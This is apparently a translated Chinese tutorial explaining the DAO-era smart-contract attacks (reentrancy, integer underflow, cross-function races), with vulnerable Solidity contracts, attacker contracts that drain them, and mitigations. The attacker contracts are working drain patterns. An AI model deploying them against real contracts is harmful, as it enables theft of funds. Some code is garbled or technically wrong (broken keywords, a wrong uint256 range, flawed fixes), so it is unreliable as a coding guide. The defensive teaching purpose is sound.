如果你在数字货币世界待过足够时间,也许你听说过1或2个智能合约攻击时间,这些攻击导致了几千万美元的盗窃损失。最著名的攻击是DAO事件,这是数字货币世界最受期待的项目之一,同时也是智能合约的改革。虽然很多人听说过这些攻击,但是很少人知道到底发生了什么,是怎么发生的,以及如何避免这些错误。
智能合约是动态的,复杂的以及难以置信地强大。虽然他们的潜力是很难想象,但是也不可能一夜之间就成为了攻击的对象。也就是说,对于往后的数字货币,我们可以从之前的错误中学到经验,然后一起成长。虽然DAO是已经发生的事情,但是这对于开发者,投资者,以及社区成员对于智能合约攻击来说,都是一个很好的例子。
今天,我想和大家聊聊从DAO事件中,我们学到的3件事。
攻击#1:重入攻击
当攻击者通过对目标调用提款操作的时候,重入攻击就会发生,就好像DAO事件一样。当合约不能在发出资金之前更新状态(用户余额),攻击者就可以连续进行提取函数调用,来获得合约中的资金。任何时候攻击者获得以太币,他的合约都会自动地调用反馈函数,func ti on (),这就再次调用了提现合约。这时候,攻击就会进入递归回路,这时候这个合约中的资金就会转入攻击者。因为目标合约都在不停地调用攻击者的函数,这个合约也不会更新攻击者的余额。当前的合约不会发现有任何问题,更清楚地说,合约函数中包含反馈函数,当合约收到以太币和零数据的时候,合约函数就会自动执行。
攻击流程
1.攻击者将以太币存入目标函数
2.目标函数就会根据存入的以太币而更新攻击者的约
3.攻击者请求拿回资金
4.资金就会退回
5.攻击者的反馈函数生效,然后调用提现功能
6.智能合约的逻辑就会更新攻击者的余额,因为提现又被成功调用
7.资金发送到攻击者
8.第5-7步重复使用
9.一旦攻击结束,攻击者就会把资金从他们自己的合约发送到个人地址
1*UeDgMZo2n0skHzgkl352zQ
重入攻击的递归回路
很不幸地是,一旦这个攻击开始,无法停下。攻击者的提现功能会被一次次地调用,直到合约中的燃料跑完,或者被害者的以太币余额被消耗光。
代码
下面就是DAO合约的简单版本,其中会包括一些介绍来为这些不熟悉代码/ solidity语言更好地理解合约。
contract babyDAO {
/* assign key/value p ai r so we can look up
credit in te ge rs with an ETH address */
map pi ng (address => uint256) public credit;
/* a func TI on for funds to be added to the contract,
sender will be credited amount sent */
func TI on donate(address to) payable {
credit[msg.sender] += msg.value;
}
/*show ether credited to address*/
func TI on assignedCredit(address) returns (uint) {
return credit[msg.sender];
}
/*withdrawal ether f rom contract*/
func TI on withdraw(uint amount) {
if (credit[msg.sender] >= amount) {
msg.sender.call.value(amount)();
credit[msg.sender] -= amount;
}
}
}
如果我们看下函数withdraw(),我们可以看到DAO合约使用address.call.value()来发送资金到msg.sender。不仅如此,在资金发出后,合约会更新credit[msg.sender]的状态。攻击者在发现了合约代码中的问题,就能够使用类似下面的ThisIsAHodlUp {}来将资金转入contract babyDAO{}合约。
import ‘browser/babyDAO.sol’;
contract ThisIsAHodlUp {
/* assign babyDAO contract as "dao" */
babyDAO public dao = babyDAO(0x2ae...);
address owner;
/*assign contract creator as owner*/
constructor(ThisIsAHodlUp) public {
owner = msg.sender;
}
/*fallback function, withdraws funds from babyDAO*/
function() public {
dao.withdraw(dao.assignedCredit(this));
}
/*send drained funds to attacker’s address*/
function drainFunds() payable public{
owner.transfer(address(this).balance);
}
}
需要注意地是,这个后退函数,function(),会调用DAO或者babyDAO{}的提现函数,来从合约中盗取资金。从另个方面来说,当攻击者想要把所有偷窃来的资金赚到他们的地址,drainFunds()功能会被调用。
解决方案
现在,我们应该清楚重放攻击会利用两个特别的智能合约漏洞。第一个是当合约的状态在资金发出之后,而不是之前进行更新。由于在发出资金前无法更新合约状态,函数就会在中间计算的时候被打断,合约也认为资金其实还没有发出。第二个漏洞就当合约错误地使用address.call.value()来发出资金,而不是address.transfer() 或者 address.send()。这两个都受限于2300gas,只记录一个事件而不是多个外部调用。
contract babyDAO{
....
function withdraw(uint amount) {
if (credit[msg.sender] >= amount) {
credit[msg.sender] -= amount; /* updates balance first */
msg.sender.send(amount)(); /* send funds properly */
}
}
攻击2:下溢攻击
虽然DAO合约不会让受害者掉入下溢攻击,我们能够通过现有的babyDAO contract{}来更好地理解这些攻击为什么会发生。
首先,我们需要理解什么是256单位制。一个256单位制是由256个字节组成。以太坊的虚拟机是使用256字节来完成的。因为以太坊虚拟机受限于256字节的大小,所以数字的范围是0到4,294,967,295 (22??)。如果我们超过这个范围,那么数字就会重置到范围的最底部(22?? + 1 = 0)。如果我们低于这个范围,这个数字就会重置到这个范围的顶端(0–1= 22??)。
当我们从零中减去大于零的数,就会发生下溢攻击,导致一个新的22??数集。现在,如果攻击者的余额发生了下溢,那么这部分余额就会更新,从而导致整个资金被盗。
攻击流程
攻击者通过发出1Wei到目标合约,来启动攻击。
合约认证发出资金的人
随后调用1Wei的提现函数
合约会从发送者的账户扣除的1Wei,现在账户余额又是零
因为目标合约将以太币发给攻击者,攻击者的退回函数被处罚,所以提现函数又被调用。
提现1Wei的事件被记录
攻击者合约的余额就会更新两次,第一次是到零,第二次是到-1。
攻击者的余额回置到22??
攻击者通过提现目标合约的所有资金,从而完成整个攻击
代码
/*donate 1 wei, withdraw 1 wei*/
function attack() {
dao.donate.value(1)(this);
dao.withdraw(1);
}
/*fallback function, results in 0–1 = 2**256 */
function() {
if (pe rf ormAttack) {
performAttack = false;
dao.withdraw(1);
}
}
/*extract balance from smart contract*/
function getJackpot() {
dao.withdraw(dao.balance);
owner.send(this.balance);
}
}
解决方案
为了防止受害人陷入下溢攻击,最好的方法是看更新的状态是否在字节范围内。我们可以添加参数来检查我们的代码,作为最后一层保护。函数withdraw()的首行代码是为了检查是否有足够的资金,第二行是为了检查超溢,第三个是检查下溢。
contract babysDAO{
....
/*withdrawal ether from contract*/
function withdraw(uint amount) {
if (credit[msg.sender] >= amount
&& credit[msg.sender] + amount >= credit[msg.sender]
&& credit[msg.sender] - amount <= credit[msg.sender]) {
credit[msg.sender] -= amount;
msg.sender.send(amount)();
}
}
需要注意,就像我们之前讨论,我们上面的代码是在发出资金之前更新用户的余额。
攻击#3:跨函数竞争条件
最后要说的,就是跨函数竞争攻击。就像在重放攻击中所说,DAO合约不能正确的更新合约状态,并且可以让资金被盗窃。DAO问题和外部调用中的部分原因是跨函数竞争条件攻击的潜在原因。虽然以太坊中所有的转账是线性发生(一个在另一个后面), 外部调用(另一个合约或者地址的调用)如果没有被合理管理,就会成为灾难的导火线。在现实世界中,他们是完全可以避免的。当两个函数被调用并且分享同个状态,跨函数竞争条件攻击就会发生。这个合约就会想到,现在有两个合约状态存在,但是现实是只有一个真正的合约状态存在。我们不能同时获得X = 3和X = 4这两种结果。 让我们用一个例子来说明这个内容。
攻击和代码
contract crossFunctionRace{
mapping (address => uint) private userBalances;
/* uses userBalances to transfer funds */
function transfer(address to, uint amount) {
if (userBalances[msg.sender] >= amount) {
userBalances[to] += amount;
userBalances[msg.sender] -= amount;
}
}
/* uses userBalances to withdraw funds */
function withdrawalBalance() public {
uint amountToWithdraw = userBalances[msg.sender];
require(msg.sender.send(amountToWithdraw)());
userBalances[msg.sender] = 0;
}
}
上面的合约有2个功能 – 一个是可以转移资金,另一个是提现资金。我们假设攻击者调用了函数transfer(),然后同时使用外部调用函数withdrawalBalance()。userBalance[msg.sender]的状态通过2个不同的方向被抽出。用户的余额还没有被设为0,但是尽管资金已经被提取,攻击者也能够转移资金。这样情况下,合约可以让攻击者使用双花,这也是区块链技术想要解决的问题之一。
注意:如果有函数分享状态,跨函数竞争条件攻击就会在多个合约中发生。
-在调用外部函数之前,应该完成所有的内部工作
-避免发生外部调用
-在不可避免地时候,使用外部函数“不可信”
-在外部调用不可避免的情况下,使用互斥
根据下面的合约,我们可以看到一个例子1) 在完成外部调用之前,完成内部工作。2)将所有外部调用都设为“不可信”。我们的合约会让资金发送到一个地址,并且允许用户一次性将资金存入合同。
contract crossFunctionRace{
mapping (address => uint) private userBalances;
mapping (address => uint) private reward;
mapping (address => bool) private claimedReward;
//makes external call, need to mark as untrusted
function untrustedWithdraw(address recipient) public {
uint amountWithdraw = userBalances[recipient];
reward[recipient] = 0;
require(recipient.call.value(amountWithdraw)());
}
//untrusted because withdraw is cal led , an external call
function untrustedGetReward(address recipient) public {
//check that reward hasn’t already been claimed
require(!claimedReward[recipient]);
//internal work first (claimedReward and assigning reward)
claimedReward = true;
reward[recipient] += 100;
untrustedWithdraw(recipient);
}
}
我们可以看出,这个合约的首个函数在发送资金到用户的合约/地址的时候,就会发生外部调用。同样地,奖励函数在发送一次性奖励的时候,也会使用提现函数,因为这也是不可信的。同样重要地是,合约需要执行所有内部工作。就好像重入攻击,函数untrustedGetReward()会在允许提现之前,让用户获得一次性的奖励,从而防止跨函数竞争条件攻击。
在真实世界,智能合约不需要依赖于外部调用。事实上,外部调用在很多情况下,在工作环境中都几乎不可能发生的。由于这个原因,使用互斥体来“ 锁 定”一些状态,并且让拥有者有能力去改变状态,可以帮助防止这类灾难。虽然互斥体非常有效,但是当用于多个合约的时候,都会变的很棘手。如果你使用互斥体来防止这类攻击,你需要很仔细地确保没有其他方法来锁定,或者永远不会释放。如果使用互斥体的方法,在写入智能合约的时候,你需要保证你完全理解潜在的危险。
contract mutexExample{
mapping (address => uint) private balances;
bool private lockBalances;
function deposit() payable public returns (bool) {
/*check if lockBalances is unlocked before proceeding*/
require(!lockBalances);
/*lock, execute, unlock */
lockBalances = true;
balances[msg.sender] += msg.value;
lockBalances = false;
return true;
}
function withdraw(uint amount) payable public returns (bool) {
/*check if lockBalances is unlocked before proceeding*/
require(!lockBalances && amount > 0 && balances[msg.sender]
>= amount);
/*lock, execute, unlock*/
lockBalances = true;
if (msg.sender.call(amount)()) {
balances[msg.sender] -= amount;
}
lockBalances = false;
return true;
}
}
以上,我们可以看到合约mutexExample()会有私人锁定状态,来实行deposit()函数功能和withdraw()函数。锁定会防止用户能够在所有的初步调用完成之前,成功完成withdraw()调用,可以防止任何种类的跨函数竞争条件攻击。
最后的结果
力量越大,责任越大。虽然区块链和智能合约技术每天都在革新,但是风险依然很高。攻击者从没有放弃去寻找机会来攻击这些合约。这取决于我们来保证,我们可以从之前项目的问题中学习经验,来让我们获得成长。希望通过这篇文章,以及其他系列文章,你可以更明白智能合约攻击。
责任编辑:ct